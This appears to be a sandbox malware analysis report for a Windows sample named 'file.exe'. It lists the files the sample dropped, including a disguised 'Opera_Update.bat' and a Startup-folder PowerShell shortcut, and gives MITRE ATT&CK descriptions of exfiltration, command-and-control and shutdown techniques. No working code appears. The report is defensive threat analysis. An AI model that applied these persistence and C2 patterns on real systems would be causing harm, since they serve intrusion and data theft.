Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat

C:\Users\user\AppData\Local\Temp\Log.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_401t3jr3.42i.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c14fizkn.auy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cpovrqex.ylt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_de5b0r2f.ry2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qwe2ygbx.azr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vah2h0dt.rnc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x5nrdogr.bby.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxlrbbce.j2f.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre